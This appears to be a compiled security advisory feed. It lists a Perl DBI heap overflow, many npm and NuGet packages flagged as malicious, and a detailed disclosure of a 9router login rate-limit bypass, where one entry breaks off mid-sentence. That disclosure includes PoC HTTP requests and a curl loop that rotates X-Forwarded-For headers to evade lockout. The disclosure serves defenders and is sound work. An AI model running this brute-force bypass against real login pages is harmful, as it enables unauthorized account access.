DBI versions before 1.650 for Perl have a heap overflow when preparsing SQL statements with an extreme number of placeholders.
The fix for CVE-2026-10879 did not allocate enough memory to handle approximately 1.2-million placeholders.
DBI version 1.650 sets a hard limit of 99,999 placeholders.
The npm package 'zircuit-reporter' version 99.0.0 contains malicious code. This is identified as a malicious package threat rather than a traditional software vulnerability. There is no CVSS score or detailed technical description available. No known exploits in the wild have been reported. No patch or remediation information is provided.
The npm package 'whaleco-assets-json' versions 99.9.9 and 100.0.5 contain malicious code. This issue has been identified as a malicious package threat but lacks detailed technical or impact information. No CVSS score or vendor advisory is available, and no known exploits in the wild have been reported.
The vscode-component-explorer npm package versions 99.9.9 and 99.9.15 contain malicious code. This is identified as a malicious package threat without detailed technical or impact specifics. No official patch or remediation guidance is provided in the available data.
The npm package 'style-to-objact' version 99.9.0 contains malicious code. This issue has been cataloged as a malicious package incident but lacks detailed technical or impact information. No patch or remediation guidance is currently provided.
The npm package 'roblox-lua-promise' version 99.9.0 contains malicious code. This is identified as a malicious package rather than a traditional software vulnerability. There is no CVSS score or detailed technical description available. No known exploits in the wild have been reported. No patch or remediation information is provided.
The npm package ovault-evm version 99.0.0 contains malicious code. This is identified as a malicious package threat rather than a traditional software vulnerability. There is no CVSS score or detailed technical description available. No patch or remediation information is provided, and no known exploits in the wild have been reported.
The npm package 'mx-frontend' version 99.9.9 contains malicious code. This is identified as a malicious package threat rather than a traditional software vulnerability. No CVSS score or detailed technical impact information is provided. There is no known exploit in the wild and no patch or remediation guidance is available from the source data.
The bitu-wallet npm package version 99.0.0 contains malicious code. This issue has been identified as a malicious package but lacks detailed technical or impact information. No patch or remediation guidance is currently provided. There is no evidence of known exploits in the wild.
The npm package @maximvs1538/os-npm version 99.0.0 contains malicious code. This is identified as a malicious package threat within the npm ecosystem. No CVSS score or detailed technical impact information is provided.
The npm package @cashback/auth version 99.9.9 contains malicious code. This is identified as a malicious package threat rather than a traditional software vulnerability. There is no CVSS score or detailed technical description available. No known exploits in the wild have been reported. No patch or remediation information is provided.
The npm package @cashback/how-it-works-widget version 99.9.9 contains malicious code. This is identified as a malicious package threat in the npm ecosystem. There is no CVSS score or detailed technical description available. No known exploits in the wild have been reported. No patch or remediation information is provided.
The npm package @bmg-web/bmg-styles version 9999.9999.99 contains malicious code. This is identified as a malicious package threat within the npm ecosystem. There is no CVSS score or detailed technical description available. No patch or remediation information is provided, and no known exploits in the wild have been reported.
The npm package @bmg-web/bmg-spinner version 999.9999.99 contains malicious code. This is identified as a malicious package threat rather than a traditional software vulnerability. No CVSS score or detailed technical impact information is provided.
The npm package @bmg-web/bmg-key-value versions 999.9.9 and 999.9999.99 contain malicious code. This is identified as a malicious package threat without detailed technical or impact information. No CVSS score or vendor advisory is available, and no known exploits in the wild have been reported.
The npm package @bmg-web/bmg-multiselect contains malicious code in specific versions. This issue is identified as a malicious package rather than a traditional software vulnerability. There is no CVSS score or detailed technical description available. No known exploits in the wild have been reported. The affected versions are specifically =999.9.9 and =999.9999.99. No patch or remediation information is provided.
The vspropertypages NuGet package version 99.99.99 contains malicious code as identified by the OpenSSF malicious packages database. This is a supply chain threat involving a package that could potentially harm users who consume it. No specific technical details or exploitation methods are provided. There is no CVSS score or vendor patch information available.
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (2bbd559291bd6c2d7889aebe011bb43bef61938171904f5c9ff378f33fd9e5e9)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
## Source: ossf-package-analysis (b12a43aa95319a766b8f9e0902338f11012546f1d553480d8c97d7039ad24f98)
The OpenSSF Package Analysis project identified '@higherlogic/ocfe' @ 99.9.1 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
## Summary
The 9router dashboard login rate limiter derives the client identity from the attacker-controlled `X-Forwarded-For` HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the `X-Forwarded-For` value on each login attempt and receive a fresh rate-limit bucket every time.
This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.
## Details
| Component | File | Note |
| ---------------------------- | --------------------------------- | --------------------------------------------------------------------------- |
| Dashboard login rate limiter | `src/lib/auth/loginLimiter.js` | Uses `X-Forwarded-For` as the client identity without a trusted-proxy check |
| Dashboard login route | `src/app/api/auth/login/route.js` | Calls `checkLock()` and `recordFail()` using the spoofable client identity |
#### Vulnerable Code
`src/lib/auth/loginLimiter.js`:
```js
export function getClientIp(request) {
const xff = request.headers.get("x-forwarded-for");
if (xff) return xff.split(",")[0].trim();
return request.headers.get("x-real-ip") || "unknown";
}
```
The returned value is used as the key for the in-memory rate-limit state:
```js
const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }
```
The login route uses this value when checking and recording failed login attempts:
```js
export async function POST(request) {
const ip = getClientIp(request);
const lock = checkLock(ip);
if (lock.locked) {
return NextResponse.json(
{ error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
{ status: 429 }
);
}
// ... password validation ...
recordFail(ip);
}
```
Because `X-Forwarded-For` is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.
## PoC
### Step 1 — Baseline: rate limiter triggers when the client identity is stable
Send repeated failed login attempts with the same `X-Forwarded-For` value:
```http
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1
{"password":"wrong-password"}
```
Observed behavior:
| Attempt | Response |
| ------- | ----------------------------------------------------- |
| 1 | `Invalid password. 4 attempt(s) left before lockout.` |
| 2 | `Invalid password. 3 attempt(s) left before lockout.` |
| 3 | `Invalid password. 2 attempt(s) left before lockout.` |
| 4 | `Invalid password. 1 attempt(s) left before lockout.` |
| 5 | `Too many failed attempts. Try again in 30s.` |
| 6 | `Too many failed attempts. Try again in 30s.` |
This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.
### Step 2 — Bypass: rotate `X-Forwarded-For` on each request
Send failed login attempts while changing the `X-Forwarded-For` value for every request:
```bash
for i in $(seq 1 10); do
curl -s -X POST "http://localhost:20128/api/auth/login" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 10.0.0.$i" \
-d '{"password":"wrong-password"}'
echo
done
```
Observed response for every request:
```json
{
"error": "Invalid password. 4 attempt(s) left before lockout.",
"remainingBeforeLock": 4
}
```
The counter resets to the initial state on every request, and the lockout is never triggered.
### Step 3 — Impact amplifier: default dashboard password
If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.
Example request:
```http
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99
{"password":"<default-dashboard-password>"}
```
Observed response on a default installation:
```http
HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
```
```json
{
"success": true
}
```
The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.
## Attack Scenario
1. A remote attacker identifies a publicly reachable 9router dashboard.
2. The attacker sends repeated login attempts to `/api/auth/login`.
3. For each attempt, the attacker changes the `X-Forwarded-For` header value.
4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.
5. The attacker can continue brute-force attempts without triggering
---
_-= Per source details. Do not edit below this line.=-_
## Source: ghsa-malware (371ed0f5f59f881d5fa2a296e7e3d44833f1ae46129da09714cab2edadcf440a)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
## Source: ossf-package-analysis (f727264d43e45f813a3ce1cc7cb7e59a763ea8a59f93a9af3593bdb40c8bb47b)
The OpenSSF Package Analysis project identified 'gen-ai-opt-in' @ 99.0.2 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.